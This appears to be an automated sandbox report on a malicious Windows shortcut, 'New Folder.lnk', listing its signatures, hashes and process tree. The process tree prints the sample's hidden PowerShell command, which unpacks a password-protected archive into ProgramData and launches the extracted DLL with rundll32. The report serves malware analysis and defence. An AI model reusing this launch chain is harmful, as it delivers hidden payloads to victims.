Analysis

  • max time kernel
    42s
  • max time network
    45s
  • platform
    windows7_x64
  • resource
    win7-20220414-en
  • submitted
    26/05/2022, 16:35

General

  • Target
    New Folder.lnk
  • Size 1KB
  • Sample220526-t3xe3ahack
  • SHA256 315b3d80643da454b40cc938a0e8794f90ccbd05868e55b4848cacbf047850ae
  • MD5 SHA1 SHA512
Score
3/10

Malware Config

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\New Folder.lnk"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1008
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c powershell -WindowStyle Hidden -Command ".\7za.exe x arch.7z -p434330cf2449 -o\"c:\programdata\" -y > $null; rundll32 c:\programdata\arch.dll,oUlluzkNOs
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1912
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -WindowStyle Hidden -Command ".\7za.exe x arch.7z -p434330cf2449 -o\"c:\programdata\" -y > $null; rundll32 c:\programdata\arch.dll,oUlluzkNOs
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:472

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/472-94-0x000007FEF3420000-0x000007FEF3F7D000-memory.dmp

        memory/472-96-0x0000000002914000-0x0000000002917000-memory.dmp

        memory/472-95-0x000000001B820000-0x000000001BB1F000-memory.dmp

        memory/472-97-0x000000000291B000-0x000000000293A000-memory.dmp

        memory/1008-54-0x000007FEFBA51000-0x000007FEFBA53000-memory.dmp